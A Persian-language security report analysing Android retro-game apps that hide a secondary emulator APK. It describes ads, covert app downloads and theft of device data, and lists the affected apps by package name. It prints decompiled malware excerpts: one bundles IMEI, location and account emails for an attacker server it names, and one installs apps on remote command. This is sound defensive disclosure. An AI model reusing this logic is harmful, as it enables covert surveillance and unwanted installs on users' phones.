

بسمه تعالی



بررسی بازی‌های دارای شبیه‌ساز در فروشگاه‌های اندرویدی

دی ماه ۹۷

فهرست مطالب

۱	چکیده.....	۱
۲	خطرات ناشی از بازی‌های دارای شبیه‌ساز.....	۲
۲-۱	نمایش تبلیغات.....	۲-۱
۲-۲	ارسال اطلاعات قربانی به مهاجم.....	۲-۲
۲-۳	دانلود برنامه‌های دیگر.....	۲-۳
۳	بررسی برنامه‌های هر یک از توسعه‌دهندگان.....	۳
۳-۱	توسعه‌دهنده *****.....	۳-۱
۳-۲	توسعه‌دهنده *****.....	۳-۲
۳-۳	توسعه‌دهنده *****.....	۳-۳
۴	لیست برنامه‌ها و مشخصات آن‌ها.....	۴
۴-۱	مشخصات برنامه‌های توسعه‌دهنده *****.....	۴-۱
۴-۲	مشخصات برنامه‌های توسعه‌دهنده *****.....	۴-۲
۴-۳	مشخصات برنامه‌های توسعه‌دهنده *****.....	۴-۳

۱ چکیده

بازی‌های قدیمی کنسول، دسته‌ای از برنامه‌های موجود در فروشگاه‌های اندرویدی هستند که به دلیل خطرناک‌تر بودن آن‌ها، در بین کاربران اندرویدی طرفدارانی دارد. از آنجاکه در گذشته برای این بازی‌ها از دسته‌های بازی استفاده می‌شده است، برای اجرای این بازی‌های قدیمی در محیط اندروید نیز، لازم است شبیه‌سازی به‌منظور پیاده‌سازی دسته بازی وجود داشته باشد. این فایل شبیه‌ساز اغلب در فایل نصبی برنامه (فایل apk) قرار دارد و پس از نصب، از کاربر خواسته می‌شود تا برنامه شبیه‌ساز را نصب نماید. با تایید کاربر، فایل ثانویه شبیه‌ساز روی دستگاه نصب شده و کاربر می‌تواند بازی کنسول را روی دستگاه اندرویدی خود اجرا کند. متأسفانه همین فرآیند به ظاهر ساده، یکی از ترفندهای مهاجمان برای سواستفاده از دستگاه کاربران و مخفی کردن رفتار مخرب خود است.

از آنجاکه در اغلب این برنامه‌ها، فایل مربوط به شبیه‌ساز، بدون پسوند apk در پوشه‌های جانبی برنامه اصلی قرار داده شده است، در بررسی‌های امنیتی برنامه، توسط فروشگاه‌های اندرویدی، به وجود چنین فایل‌هایی توجه نمی‌شود و فایل شبیه‌ساز مورد بررسی قرار نمی‌گیرد. در مجوزهای نمایش داده شده در فروشگاه‌های اندرویدی نیز، تنها به مجوزهای فایل اولیه اشاره شده است و مجوزهایی که شبیه‌ساز از کاربر می‌گیرد، ذکر نمی‌شود. این فرصتی است که مهاجم با استفاده از آن می‌تواند رفتار مخرب موردنظر خود را در این فایل مخفی کرده و بدافزار را در قالب برنامه‌ای سالم در فروشگاه اندرویدی منتشر سازد.

علاوه بر این، فایل شبیه‌ساز پس از نصب آیکون خود را مخفی کرده و کاربران عادی قادر به شناسایی و حذف آن نخواهند بود. حتی با حذف برنامه اصلی نیز، فایل شبیه‌ساز حذف نشده و پایگاه ثابتی روی دستگاه قربانی برای مهاجم ایجاد خواهد شد.

تاکنون ده‌ها توسعه‌دهنده اقدام به انتشار صدها برنامه‌ی از این دست کرده‌اند که خوشبختانه، به دلیل گرافیک پایین و عدم جذابیت این برنامه‌ها در مقایسه با بازی‌های پیشرفته‌تر، نتوانسته‌اند کاربران زیادی جذب نمایند. رفتار مخرب مربوط به این برنامه‌ها، که عموماً ساختاری یکسان و تکراری دارند را می‌توان به سه دسته تقسیم کرد:

- استفاده از سرویس‌های تبلیغاتی، علاوه بر سرویس‌های تبلیغاتی موجود روی برنامه اصلی
- دانلود و نصب یک برنامه دیگر (بدافزار یا برنامه‌های دارای سرویس‌های ارزش‌افزوده)
- ارسال اطلاعات کاربر به مهاجم

در این گزارش به‌عنوان نمونه، به بررسی بازی‌های سه توسعه‌دهنده که جمعاً حدود صد هزار نصب فعال دارند، پرداخته شده است. تعداد بازی‌های منتشر شده از این نوع توسط این توسعه‌دهندگان در جدول زیر قابل مشاهده است.

تعداد بازی	نام توسعه‌دهنده
۴۹	*****
۲۸۹	*****
۵۵	*****

خوشبختانه با همکاری کافه‌بازار، همه‌ی بازی‌های شبیه‌ساز متخلف مورد بررسی، در حال حاضر حذف شده‌اند. در ادامه به بررسی خطرات ناشی از نصب این برنامه‌ها پرداخته خواهد شد.

۲ خطرات ناشی از بازی‌های دارای شبیه‌ساز

توسعه‌دهندگان بسیاری اقدام به انتشار برنامه‌هایی برای اجرای بازی‌های قدیمی کنسول، در فروشگاه اندرویدی کرده‌اند. برای اجرای این بازی‌های قدیمی، کافی است خروجی ROM دستگاه‌های قدیمی به برنامه‌هایی تحت عنوان "مولاتور" یا "شبیه‌ساز"، به‌عنوان ورودی داده شود. توسعه‌دهندگان از این روش استفاده کرده و تعداد زیادی بازی قدیمی را در فروشگاه‌ها منتشر کرده‌اند. برنامه‌های منتشر شده پس از نصب روی گوشی کاربر، از کاربر درخواست نصب شبیه‌ساز می‌کنند تا کاربر بتواند بازی را اجرا کند. کاربر نیز طبیعتاً اجازه نصب شبیه‌ساز را داده و بدین ترتیب برنامه شبیه‌ساز روی گوشی کاربر نصب می‌شود. تا به اینجای کار مشکلی وجود ندارد اما مشکل اینجاست که برنامه‌های شبیه‌ساز نصب‌شده، همگی توسط توسعه‌دهندگان ثانویه تغییر یافته‌اند و پس از نصب مخفی می‌شوند و حتی با حذف برنامه بازی اصلی از روی گوشی، شبیه‌سازها حذف نمی‌شوند. همچنین شبیه‌سازها اکثراً اقدام به انجام اعمالی خارج از چارچوب خود می‌نمایند و اعمال مخربی به دور از چشم کاربر انجام می‌دهند. در ادامه به بررسی برخی از این رفتارهای مخرب پرداخته شده است.

۱-۲ نمایش تبلیغات

برنامه‌های اصلی و همچنین شبیه‌سازها اکثراً از سرویس‌های تبلیغاتی مختلفی بر بستر خدمات پوشه، چشمک، GCM، FireBase، OneSignal و ... استفاده می‌کنند. برنامه‌های اصلی صرفاً از قابلیت ارسال هشدار این سرویس‌ها استفاده می‌کنند اما شبیه‌سازها، به دور از چشم بررسی‌کنندگان برنامه‌های فروشگاه‌ها، از این سرویس‌ها برای اهداف زیر استفاده می‌کنند:

- باز کردن صفحه ارسال پیامک با متن و شماره مقصد
- باز کردن صفحه تماس با یک شماره
- باز کردن صفحه یک برنامه در فروشگاه‌های اندرویدی
- نمایش انواع دیالوگ‌های تبلیغاتی، تبلیغاتی صوتی و حتی ویدئویی

- باز کردن لینک در مرورگر
- باز کردن لینک در برنامه‌های مختلف اینستاگرام، تلگرام (رسمی و غیررسمی) و پیشنهاد عضویت کاربر در کانال یا گروه
- نمایش تبلیغات تمام صفحه

۲-۲ ارسال اطلاعات قربانی به مهاجم

برخی برنامه‌های شبیه‌ساز دسترسی‌های حساسی مانند دسترسی به اکانت‌های روی گوشی، موقعیت مکانی گوشی و دسترسی به اطلاعات وضعیت گوشی را درخواست و آیکون خود را مخفی می‌کنند. سپس در پس‌زمینه اقدام به سرقت اطلاعات کاربر می‌کنند. برنامه اطلاعات مختلفی را به سرورهای خود ارسال می‌کند. از جمله اطلاعات حساس می‌توان به موارد زیر اشاره کرد:

- اطلاعات طول و عرض جغرافیایی گوشی
- آدرس آی پی کاربر
- IMEI گوشی
- MAC آدرس گوشی
- مدل گوشی
- نسخه سیستم عامل
- نام کاربری حساب‌های کاربری گوگل روی گوشی

۳-۲ دانلود برنامه‌های دیگر

یکی دیگر از اقدامات مشاهده شده در برخی شبیه‌سازها، دانلود و نصب برنامه‌های دیگر است. برنامه‌های ثانویه دانلود شده انواع مختلفی دارند:

- بدافزارهایی که به صورت خودکار کاربر را عضو سرویس ارزش افزوده می‌کنند.
- برنامه‌هایی که برای استفاده از آن‌ها باید عضو سرویس ارزش افزوده شد.
- برنامه‌های فروشگاه‌های اندرویدی که توسط توسعه‌دهنده، سفارش تبلیغ آن‌ها داده شده است.
- برنامه‌های دیگر توسعه‌دهنده

۳ بررسی برنامه‌های هر یک از توسعه‌دهندگان

در ادامه در هر بخش، به بررسی بیشتر بازی‌ها و به خصوص شبیه‌ساز استفاده شده توسط هر یک از توسعه‌دهندگان پرداخته خواهد شد.

۱-۳ توسعه‌دهنده *****

تمامی ۴۹ بازی این توسعه‌دهنده با بیش از ۸۴۵۰ نصب رفتار بسیار مشابهی دارند. تمامی آن‌ها در ابتدا صفحه‌ای نمایش می‌دهند که برنامه نیاز به نصب شبیه‌ساز دارد (شکل ۱).



شکل ۱

برنامه‌های اصلی و همچنین شبیه‌سازها اکثراً از سرویس‌های تبلیغاتی مانند پوشه، GCM و Firebase استفاده می‌کنند. برنامه‌های اصلی صرفاً از قابلیت ارسال هشدار این سرویس‌ها استفاده می‌کنند اما شبیه‌سازها به دور از چشم بررسی‌کنندگان برنامه‌های فروشگاه‌ها، از این سرویس‌ها برای اهداف زیر استفاده می‌کنند:

- دانلود و نصب یک برنامه
- باز کردن صفحه ارسال پیامک با متن و شماره مقصد
- باز کردن صفحه امتیاز دادن به برنامه در کافه بازار و مایکت
- باز کردن صفحه تماس با یک شماره
- باز کردن صفحه یک برنامه در کافه بازار و مایکت
- باز کردن صفحه ارسال ایمیل با متن، موضوع و مقصد
- نمایش انواع دیالوگ‌های تبلیغاتی، تبلیغاتی صوتی و حتی ویدئویی

برنامه‌های شبیه‌ساز دسترسی‌های حساسی مانند دسترسی به اکانت‌های روی گوشی، موقعیت مکانی گوشی و دسترسی به اطلاعات وضعیت گوشی را درخواست و آیکون خود را مخفی می‌کنند. سپس در پس‌زمینه اقدام به سرقت اطلاعات کاربران می‌کنند. برنامه اطلاعات مختلفی را به سرورهای خود در آدرس norooz99.com ارسال می‌کند. از جمله اطلاعات حساس می‌توان به موارد زیر اشاره کرد که همگی به آدرس <http://norooz99.com/apps/insertuser> ارسال می‌شوند (شکل ۲):

- اطلاعات طول و عرض جغرافیایی گوشی: در ابتدا برنامه سعی می‌کند مکان دقیق گوشی را از طریق GPS بدست بیاورد. در صورتی که موفق نشد، سعی می‌کند مکان حدودی کاربر را از طریق شبکه بدست بیاورد و اگر در این حالت نیز موفق به بدست آوردن مکان گوشی نشد، سعی می‌کند مکان گوشی را از طریق ارسال اطلاعات دکلی که گوشی به آن متصل است، به آدرس <https://api.mylnikov.org/geolocation/cell> بدست بیاورد.
- آدرس آی پی کاربر (از آدرس <http://mihanhosting.net/ip> گرفته می‌شود)
- IEMI گوشی
- مک آدرس گوشی
- مدل گوشی
- نسخه سیستم‌عامل
- نام کاربری حساب‌های کاربری گوگل روی گوشی

```
public String makeJson() {
    JSONObject jsonObject = new JSONObject();
    try {
        jsonObject.put("regId", this.regId);
        jsonObject.put("lat", this.lat);
        jsonObject.put("lng", this.lng);
        jsonObject.put("ip", this.ip);
        jsonObject.put("devId", this.devId);
        jsonObject.put("imei", this.imei);
        jsonObject.put("macId", this.macId);
        jsonObject.put("brand", this.brand);
        jsonObject.put("osVer", this.osVer);
        JSONArray jsonArray = new JSONArray();
        for (int i = 0; i < this.emails.size(); i++) {
            JSONObject temp = new JSONObject();
            temp.put("email" + (i + 1), ((Item) this.emails.get(i)).getValue());
            jsonArray.put(temp);
        }
        jsonObject.put("emails", jsonArray);
    } catch (JSONException e) {
        e.printStackTrace();
    }
    return jsonObject.toString();
}
```

شکل ۲

۲-۳ توسعه‌دهنده *****

تمامی ۲۸۹ بازی این توسعه‌دهنده با بیش از ۳۴۵۰۰ نصب، مشابه یکدیگر بوده و شبیه‌سازهای آن‌ها، بعد از نصب اقدام به مخفی کردن خود می‌کنند. برنامه‌های اصلی از سرویس‌های تبلیغاتی پوشه و عدد استفاده می‌کنند و شبیه‌سازها از سرویس‌های OneSignal، چشمک و Firebase استفاده می‌کنند. شبیه‌سازها با دریافت پیام از سرویس‌های تبلیغاتی اقدام به باز کردن لینک در مرورگر، باز کردن لینک تلگرام و نمایش تبلیغات تمام

صفحه می‌کنند. همچنین شبیه‌سازها برای نمایش تبلیغات تمام صفحه از دسترسی SYSTEM_ALERT_WINDOW استفاده می‌کنند بدین معنی که کاربر تا زمانی که روی تبلیغ کلیک نکند، نمی‌تواند آن را ببیند.

۳-۳ توسعه‌دهنده ****

تمامی ۵۵ برنامه این توسعه‌دهنده با بیش از ۳۳۶۵۰ نصب، مشابه یکدیگر بوده و شبیه‌سازهای آن‌ها، بعد از نصب اقدام به مخفی کردن خود می‌کنند. برنامه‌های اصلی از سرویس‌های تبلیغاتی پوشه و عدد استفاده می‌کنند و شبیه‌سازها از سرویس‌های پوشه و OneSignal استفاده می‌کنند. شبیه‌سازها با دریافت پیام از سرویس‌های تبلیغاتی کارهای زیر را انجام می‌دهند (شکل ۳):

- باز کردن لینک در برنامه‌های مختلف اینستاگرام، تلگرام (رسمی و غیررسمی) و ...
- نمایش دیالوگ تبلیغاتی
- باز کردن صفحه یک برنامه در فروشگاه‌های مختلف مانند کافه بازار، مایکت، ایران اپس و گوگل پلی
- دانلود برنامه از آدرس موجود در پیام دریافتی و نصب آن

```

if (!JSONObject.isNull("link")) {
    intent = new Intent("android.intent.action.VIEW", Uri.parse(JSONObject.getString("link")));
    if (!JSONObject.isNull("package") && m2289a(JSONObject.getString("package"))) {
        intent.setPackage(JSONObject.getString("package"));
    }
    intent.addFlags(268435456);
    getApplication().startActivity(intent);
}
if (!JSONObject.isNull("link3")) {
    intent = new Intent("android.intent.action.VIEW", Uri.parse(JSONObject.getString("link3")));
    a = m2288a();
    if (!(a == null || a.equals("") || !m2289a(a))) {
        intent.setPackage(a);
    }
    intent.addFlags(268435456);
    getApplication().startActivity(intent);
}
if (!JSONObject.isNull("install")) {
    Log.e("xxxxxxxxxxxxxxxxxxxx", JSONObject.getString("install") + "?id=" + new Random().nextInt(
    C0568a c0568a = new C0568a(this);
    c0568a.m2262a(getApplicationContext());
    c0568a.execute(new String[]{a});
}
if (!JSONObject.isNull("link2")) {
    putExtra = new Intent(getApplicationContext(), Dialog.class).putExtra("json", JSONObject.toSt
    putExtra.addFlags(268435456);
    startActivity(putExtra);
}
if (!JSONObject.isNull("market")) {
    if (JSONObject.getString("market").equals("bazaar")) {
        if (m2289a("com.farsitel.bazaar")) {
            putExtra = new Intent("android.intent.action.VIEW");
            putExtra.addFlags(268435456);
            putExtra.setData(Uri.parse("bazaar://details?id=" + JSONObject.getString("package")));
            putExtra.setPackage("com.farsitel.bazaar");
            startActivity(putExtra);
        }
    }
}

```

شکل ۳

۴ لیست برنامه‌ها و مشخصات آن‌ها

در این بخش اطلاعات مربوط به هر یک از بازی‌های این توسعه‌دهندگان منتشر شده است. خوشبختانه با همکاری کافه‌بازار، همه‌ی این بازی‌ها در حال حاضر حذف شده‌اند.

۱-۴ مشخصات برنامه‌های توسعه‌دهنده ****

نام	نام پکیج	تعداد نصب	حجم (مگابایت)	لینک کافه‌بازار
مرد عنکبوتی ۱	ir.nostalgia.SpiderMan	2000	4.5	https://cafebazaar.ir/app/ir.nostalgia.SpiderMan
لاکپشت‌های نینجا	ir.nostalgia.NinjaTurtles	1000	4.1	https://cafebazaar.ir/app/ir.nostalgia.NinjaTurtles
سونیک ۱	ir.nostalgia.sonic1	1000	3.8	https://cafebazaar.ir/app/ir.nostalgia.sonic1
علاء الدین	ir.nostalgia.aladdin	500	4.5	https://cafebazaar.ir/app/ir.nostalgia.aladdin
میکی موس : قلعه خیالی	ir.nostalgia.MickeyMouseCastleofIllusion	200	3.8	https://cafebazaar.ir/app/ir.nostalgia.MickeyMouseCastleofIllusion
شیر شاه	ir.nostalgia.LionKing	200	4.9	https://cafebazaar.ir/app/ir.nostalgia.LionKing
شینوبی ۲	ir.nostalgia.Shinobi2	200	4	https://cafebazaar.ir/app/ir.nostalgia.Shinobi2
شینوبی ۳	ir.nostalgia.Shinobi3	200	4	https://cafebazaar.ir/app/ir.nostalgia.Shinobi3
شورش در شهر ۳	ir.nostalgia.StreetsOfRage3	200	5	https://cafebazaar.ir/app/ir.nostalgia.StreetsOfRage3
شورش در شهر ۱	ir.nostalgia.StreetOfRage1	200	3.8	https://cafebazaar.ir/app/ir.nostalgia.StreetOfRage1
سونیک سه بعدی	ir.nostalgia.Sonic3D	200	5.9	https://cafebazaar.ir/app/ir.nostalgia.Sonic3D
بتمن و رابین	ir.nostalgia.adverntureOfBatmanAndRobin	200	3.6	https://cafebazaar.ir/app/ir.nostalgia.adverntureOfBatmanAndRobin
مورتال کامبت ۳ : نبرد نهایی	ir.nostalgia.UltimateMortalKombat3	100	5.5	https://cafebazaar.ir/app/ir.nostalgia.UltimateMortalKombat3
پری دریایی کوچولو	ir.nostalgia.ArieltheLittleMermaid	100	3.7	https://cafebazaar.ir/app/ir.nostalgia.ArieltheLittleMermaid
بازی هواپیما AfterBurner2	ir.nostalgia.afterBurner2	100	3.7	https://cafebazaar.ir/app/ir.nostalgia.afterBurner2
کامیکس	ir.nostalgia.ComixZone	100	5	https://cafebazaar.ir/app/ir.nostalgia.ComixZone

https://cafebazaar.ir/app/ir.nostalgia.MJMoonWalk	3.7	100	ir.nostalgia.MJMoonWalk	مایکل جکسون
https://cafebazaar.ir/app/ir.nostalgia.StreetsOfRage2	4.4	100	ir.nostalgia.StreetsOfRage2	شورش در شهر ۲
https://cafebazaar.ir/app/ir.nostalgia.GoldenAxe3	4.1	100	ir.nostalgia.GoldenAxe3	تبر طلایی ۳
https://cafebazaar.ir/app/ir.nostalgia.goldenAxe	3.7	100	ir.nostalgia.goldenAxe	تبر طلایی
https://cafebazaar.ir/app/ir.nostalgia.sonic3	4.7	100	ir.nostalgia.sonic3	سونیک ۳
https://cafebazaar.ir/app/ir.nostalgia.sonic2	4.1	100	ir.nostalgia.sonic2	سونیک ۲
https://cafebazaar.ir/app/ir.nostalgia.doubleDragon2	3.7	50	ir.nostalgia.doubleDragon2	دو اژدها ۲: انتقام
https://cafebazaar.ir/app/ir.nostalgia.contra	4.8	50	ir.nostalgia.contra	کنترا
https://cafebazaar.ir/app/ir.nostalgia.ArtofFighting	4.4	50	ir.nostalgia.ArtofFighting	هنر مبارزه
https://cafebazaar.ir/app/ir.nostalgia.doubleDragon1	3.7	50	ir.nostalgia.doubleDragon1	دو اژدها ۱
https://cafebazaar.ir/app/ir.nostalgia.ArrowFlash	3.6	50	ir.nostalgia.ArrowFlash	فلش
https://cafebazaar.ir/app/ir.nostalgia.aleste	3.8	50	ir.nostalgia.aleste	الستو: جنگجوی شکست ناپذیر النور
https://cafebazaar.ir/app/ir.nostalgia.aerotheacrobat2	4.6	50	ir.nostalgia.aerotheacrobat2	Aero AcroBat 2
https://cafebazaar.ir/app/ir.nostalgia.aerotheacrobat	4.3	50	ir.nostalgia.aerotheacrobat	Aero AcroBat
https://cafebazaar.ir/app/ir.nostalgia.AyrtonSennaSuperMonacoGPII	4.1	50	ir.nostalgia.AyrtonSennaSuperMonacoGPII	رالی موناکو
https://cafebazaar.ir/app/ir.nostalgia.BOB	4	50	ir.nostalgia.BOB	باب
https://cafebazaar.ir/app/ir.nostalgia.AtomicRunner	3.9	50	ir.nostalgia.AtomicRunner	دونده اتمی
https://cafebazaar.ir/app/ir.nostalgia.AtomicRobot	3.6	50	ir.nostalgia.AtomicRobot	روبات اتمی
https://cafebazaar.ir/app/ir.nostalgia.Astrix	4.4	50	ir.nostalgia.Astrix	آستریکس و نجات بزرگ
https://cafebazaar.ir/app/ir.nostalgia.ArcusOdyssey	4.2	50	ir.nostalgia.ArcusOdyssey	ادیسه
https://cafebazaar.ir/app/ir.nostalgia.AlienStorm	3.8	50	ir.nostalgia.AlienStorm	هجوم بیگانگان

https://cafebazaar.ir/app/ir.nostalgia.aliensoldier	4.5	50	ir.nostalgia.aliensoldier	سرباز فضایی
https://cafebazaar.ir/app/ir.nostalgia.alteredbeast	3.8	50	ir.nostalgia.alteredbeast	جانور متحرک
https://cafebazaar.ir/app/ir.nostalgia.alisa	4	50	ir.nostalgia.alisa	آلیسا
https://cafebazaar.ir/app/ir.nostalgia.alien3	3.7	50	ir.nostalgia.alien3	بیگانه
https://cafebazaar.ir/app/ir.nostalgia.airdrive	3.7	50	ir.nostalgia.airdrive	Air Drive
https://cafebazaar.ir/app/ir.nostalgia.aeroblasters	3.8	50	ir.nostalgia.aeroblasters	aero blasters
https://cafebazaar.ir/app/ir.nostalgia.abugslife	4.1	50	ir.nostalgia.abugslife	زندگی یک حشره
https://cafebazaar.ir/app/ir.nostalgia.archreveal	3.6	50	ir.nostalgia.archreveal	بسکتبال
https://cafebazaar.ir/app/ir.nostalgia.dragonballz	4.8	50	ir.nostalgia.dragonballz	توپ اژدها
https://cafebazaar.ir/app/ir.nostalgia.shinobi	3.7	50	ir.nostalgia.shinobi	شینوبی ۱
https://cafebazaar.ir/app/ir.nostalgia.goldenaxe2	3.7	50	ir.nostalgia.goldenaxe2	تبر طلایی ۲
https://cafebazaar.ir/app/ir.nostalgia.animaniacs	2.8	50	ir.nostalgia.animaniacs	میکی موس

۲-۴ مشخصات برنامه‌های توسعه‌دهنده ****

نام	نام پکیج	تعداد نصب	حجم (مگابایت)	لینک کافه‌بازار
ماشین مسابقه ای	com.game.rallyfia	5000	24.9	https://cafebazaar.ir/app/com.game.rallyfia
سایفون فیلتر	com.syphoneu.ps1	2000	23.8	https://cafebazaar.ir/app/com.syphoneu.ps1
ماشین جنگی	com.twistedh.ps1	2000	18.6	https://cafebazaar.ir/app/com.twistedh.ps1
موتور سرعتی	com.appjet.sbkg	1000	24.8	https://cafebazaar.ir/app/com.appjet.sbkg
تیتان قهرمان	com.gba.teentitan	1000	6.7	https://cafebazaar.ir/app/com.gba.teentitan
خرگوش (متفاوت)	com.gba.tinytona	1000	5.6	https://cafebazaar.ir/app/com.gba.tinytona
مسابقات تنیس	com.courtsmashy.ps1	1000	19.4	https://cafebazaar.ir/app/com.courtsmashy.ps1
کشتی کج	com.game.smackdowng	1000	59.6	https://cafebazaar.ir/app/com.game.smackdowng

https://cafebazaar.ir/app/com.appjet.specopsuy	24.3	500	com.appjet.specopsuy	عملیات رنجر
https://cafebazaar.ir/app/com.simbaa.ps1	28.3	500	com.simbaa.ps1	شیر شاه
https://cafebazaar.ir/app/com.spidermang.ps1	39.5	500	com.spidermang.ps1	مرد عنکبوتی
https://cafebazaar.ir/app/com.game.tomjerryg	64.2	500	com.game.tomjerryg	موش و گربه
https://cafebazaar.ir/app/com.game.destruc	13.2	500	com.game.destruc	ماشین جنگی سه
https://cafebazaar.ir/app/com.game.cabela	23.3	500	com.game.cabela	شکار در جنگل
https://cafebazaar.ir/app/novin.sg.csoccer	7.1	200	novin.sg.csoccer	جام جهانی فوتبال
https://cafebazaar.ir/app/com.appjet.tinytankg	24.2	200	com.appjet.tinytankg	تانک هولناک
https://cafebazaar.ir/app/com.gba.astroa	8.4	200	com.gba.astroa	پسر فضایی
https://cafebazaar.ir/app/com.appjet.gallopd	13.9	200	com.appjet.gallopd	اسب سواری
https://cafebazaar.ir/app/com.gba.marioca	5.7	200	com.gba.marioca	قارچ خور HD
https://cafebazaar.ir/app/com.medarhonoras.ps1	51.4	200	com.medarhonoras.ps1	مدال افتخار
https://cafebazaar.ir/app/com.game.armoreda	32	200	com.game.armoreda	ربات مبارز
https://cafebazaar.ir/app/com.game.crashbandi	70.2	200	com.game.crashbandi	کراش سه
https://cafebazaar.ir/app/com.game.atari	12.7	200	com.game.atari	بازی‌های آتاری
https://cafebazaar.ir/app/com.game.quad	31.4	200	com.game.quad	موتور سواری
https://cafebazaar.ir/app/com.game.tenis	27.5	200	com.game.tenis	تنیس
https://cafebazaar.ir/app/ir.mahdii_yar313.fitness	10.8	200	ir.mahdii_yar313.fitness	فیتنس
https://cafebazaar.ir/app/appjet.teengatee.segas	3.3	200	appjet.teengatee.segas	بازی لاک پشت های نینجا ۲
https://cafebazaar.ir/app/appjet.streetv.sega	4.7	200	appjet.streetv.sega	شورش در شهر ۲
https://cafebazaar.ir/app/appjet.teenagtee.sega	4.3	200	appjet.teenagtee.sega	لاکپشت های نینجا
https://cafebazaar.ir/app/appjet.pinkhh.sega	4.3	200	appjet.pinkhh.sega	پلنگ صورتی
https://cafebazaar.ir/app/novin.sg.chulk	7	100	novin.sg.chulk	خشم هالک
https://cafebazaar.ir/app/com.appjet.simcityun	25.3	100	com.appjet.simcityun	شهر سازی
https://cafebazaar.ir/app/com.appjet.wining	15.3	100	com.appjet.wining	فوتبال الون سه (۹۸)

https://cafebazaar.ir/app/com.appjet.supershotuy	13.9	100	com.appjet.supershotuy	فوتبال با شوت جادویی
https://cafebazaar.ir/app/com.appjet.panzeruy	42.9	100	com.appjet.panzeruy	تانک مرگ اور
https://cafebazaar.ir/app/com.nucleara.ps1	69.2	100	com.nucleara.ps1	هلیکوپتر جنگی
https://cafebazaar.ir/app/com.islandlego.ps1	75.7	100	com.islandlego.ps1	جزیره لوگوها
https://cafebazaar.ir/app/city.appjet.game	29.5	100	city.appjet.game	شهر سازی (فارسی)
https://cafebazaar.ir/app/com.wargamesg.ps1	16.2	100	com.wargamesg.ps1	نبرد تانک‌ها
https://cafebazaar.ir/app/com.game.volleyballh	18.2	100	com.game.volleyballh	والیبال ساحلی
https://cafebazaar.ir/app/com.game.crashbandionea	87.3	100	com.game.crashbandionea	کراش یک HD
https://cafebazaar.ir/app/com.game.tsubasa	17.7	100	com.game.tsubasa	فوتبالیست‌ها
https://cafebazaar.ir/app/com.game.train	17.5	100	com.game.train	شهر سازی
https://cafebazaar.ir/app/com.game.contender	20.5	100	com.game.contender	مسابقات بوکس
https://cafebazaar.ir/app/com.game.spongebob	17.6	100	com.game.spongebob	باب اسفنجی
https://cafebazaar.ir/app/appjet.teengate.segas	3.6	100	appjet.teengate.segas	نبرد لاک پشت‌های نینجا
https://cafebazaar.ir/app/appjet.spider.segas	3.7	100	appjet.spider.segas	بازی اکشن مرد عنکبوتی
https://cafebazaar.ir/app/appjet.stryttre.sega	5.3	100	appjet.stryttre.sega	شورش در شهر ۳
https://cafebazaar.ir/app/appjet.tiinucyionn.sega	4	100	appjet.tiinucyionn.sega	خرگوش زبل
https://cafebazaar.ir/app/appjet.mariioa.sega	3.9	100	appjet.mariioa.sega	قارچ خور
https://cafebazaar.ir/app/appjet.flikaa.sega	3.7	100	appjet.flikaa.sega	جوجه جمع کن
https://cafebazaar.ir/app/appjet.toytor.sega	6.2	100	appjet.toytor.sega	داستان اسباب بازی
https://cafebazaar.ir/app/appjet.urbanst.sega	4.7	100	appjet.urbanst.sega	هلیکوپتر جنگی
https://cafebazaar.ir/app/appjet.tengae.sega	4.7	100	appjet.tengae.sega	لاک پشت‌های نینجا
https://cafebazaar.ir/app/appjet.sonykf.sega	4.9	100	appjet.sonykf.sega	سونیک چهار
https://cafebazaar.ir/app/appjet.havip.sega	4.1	100	appjet.havip.sega	بازی جت جنگی
https://cafebazaar.ir/app/appjet.juras.sega	10.9	100	appjet.juras.sega	پارک ژوراستیک سگا
https://cafebazaar.ir/app/novin.sg.cflashback	7	50	novin.sg.cflashback	فلش بک

https://cafebazaar.ir/app/novin.sg.cchaos	6.6	50	novin.sg.cchaos	سرکوب شورشیان
https://cafebazaar.ir/app/novin.sg.cearthwormii	8	50	novin.sg.cearthwormii	رم مبارز دو
https://cafebazaar.ir/app/novin.sg.bbattleloc	6.6	50	novin.sg.bbattleloc	جنگ آسمانی‌ها
https://cafebazaar.ir/app/novin.sg.cflicky	6	50	novin.sg.cflicky	جوجه کوچولو ماجراجو
https://cafebazaar.ir/app/novin.sg.ceswat	6.3	50	novin.sg.ceswat	پلیس ضد تروریست
https://cafebazaar.ir/app/novin.sg.cdyna	7.2	50	novin.sg.cdyna	جوجه دایناسور کنجکاو
https://cafebazaar.ir/app/novin.sg.cdune	6.5	50	novin.sg.cdune	نبرد با فرازمینیها
https://cafebazaar.ir/app/novin.sg.cdragonball	7.7	50	novin.sg.cdragonball	نبرد مبارزان شرقی
https://cafebazaar.ir/app/novin.sg.cbrucelee	7.3	50	novin.sg.cbrucelee	نبرد جنگجویان ازدها
https://cafebazaar.ir/app/new.se.golden	6.4	50	new.se.golden	تبرزن طلایی
https://cafebazaar.ir/app/new.se.juras	8.3	50	new.se.juras	پارک ژوراستیک
https://cafebazaar.ir/app/new.se.aero	6.4	50	new.se.aero	نبرد هوایی
https://cafebazaar.ir/app/new.se.aladdin	7.2	50	new.se.aladdin	علائدین
https://cafebazaar.ir/app/new.se.mermaid	6.4	50	new.se.mermaid	پری دریایی
https://cafebazaar.ir/app/new.se.astreix	7.2	50	new.se.astreix	استریکس
https://cafebazaar.ir/app/com.appjet.slesuy	14.1	50	com.appjet.slesuy	رالی خیابانی
https://cafebazaar.ir/app/com.appjet.tintinun	36.8	50	com.appjet.tintinun	تن تن
https://cafebazaar.ir/app/com.appjet.vigilanceyn	25.8	50	com.appjet.vigilanceyn	Vigilante
https://cafebazaar.ir/app/com.appjet.shamanyt	28	50	com.appjet.shamanyt	نبرد های فولادی
https://cafebazaar.ir/app/com.appjet.silenthillt	44	50	com.appjet.silenthillt	سکوت بره‌ها
https://cafebazaar.ir/app/com.appjet.rallycross t	31.3	50	com.appjet.rallycross t	رالی صحرایی
https://cafebazaar.ir/app/com.gba.dragony	8.1	50	com.gba.dragony	توپ ازدها
https://cafebazaar.ir/app/com.gba.onepice	5.9	50	com.gba.onepice	نبرد گانگستر
https://cafebazaar.ir/app/com.appjet.streetfigh st	18.5	50	com.appjet.streetfigh st	مبارزات خیابانی ۲
https://cafebazaar.ir/app/com.appjet.twsitedtw ob	22.7	50	com.appjet.twsitedtw ob	ماشین جنگی چهار

https://cafebazaar.ir/app/com.appjet.mummynuu	34.6	50	com.appjet.mummynuu	مومیایی
https://cafebazaar.ir/app/com.appjet.urbanchaosoi	76.2	50	com.appjet.urbanchaosoi	نیروی ضد شورش
https://cafebazaar.ir/app/com.appjet.tocayt	55.3	50	com.appjet.tocayt	چالش ماشین‌ها
